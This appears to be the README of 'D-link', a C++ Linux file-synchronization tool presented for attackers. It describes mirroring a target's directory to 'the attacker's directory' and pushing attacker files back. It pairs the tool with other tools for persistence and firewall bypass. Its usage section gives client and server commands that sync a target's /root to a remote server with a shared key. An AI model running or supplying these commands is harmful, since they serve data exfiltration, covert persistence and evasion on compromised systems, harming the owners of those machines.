D-link is a lightweight Linux file synchronization tool written in C++.
- Directory monitoring with real-time synchronization updates.
- Access control: Clients are only allowed to automatically upload and delete files, and cannot download sensitive files from the server. Even if synchronized files are deleted from the server, the client will help restore them to the server.
- Persistence: Can be used with Tyrant or S-Clustr to form a powerful self-healing network cluster.
- AES encryption for communication, ensuring that the file synchronization process is encrypted and protected from man-in-the-middle attacks.
- Real-time display of uploaded and downloaded data during the file synchronization process.
- Authentication using a key to prevent unauthorized synchronization operations.
- Loopback address synchronization speed can reach up to 200MB/s, while LAN synchronization speed can reach around 20MB/s.
$ ./dlink -h
Example: (Real-time synchronization of the target directory to the attacker’s directory)
Server:
$ ./dlink server --port <LOCAL-PORT> --path <PATH>
Client:
Create a 200MB test file for transfer
$ dd if=/dev/urandom of=rand_file bs=1M count=200
$ ./dlink client --endpoint <IP:PORT> --path <PATH> --key <KEY>
Server:
Wireshark:
PS: Typically used to bypass firewalls and prevent data interception.
Example: (Real-time synchronization of the attacker’s directory to the target directory)
Server:
$ ./dlink server --port <LOCAL-PORT> --path <PATH> --reverse
$ ./dlink client --endpoint <IP:PORT> --path <PATH> --key <KEY> --reverse
Server:
$ ./dlink server --port 10098 --path /tmp/root --key abcdefgh&
$ ./dlink server --port 10099 --path /tmp/root --key abcdefgh --reverse
Client:
$ ./dlink client --endpoint "<SERVER>:10098" --path /root --key abcdefgh &
$ ./dlink client --endpoint "<SERVER>:10099" --path /root --key abcdefgh --reverse










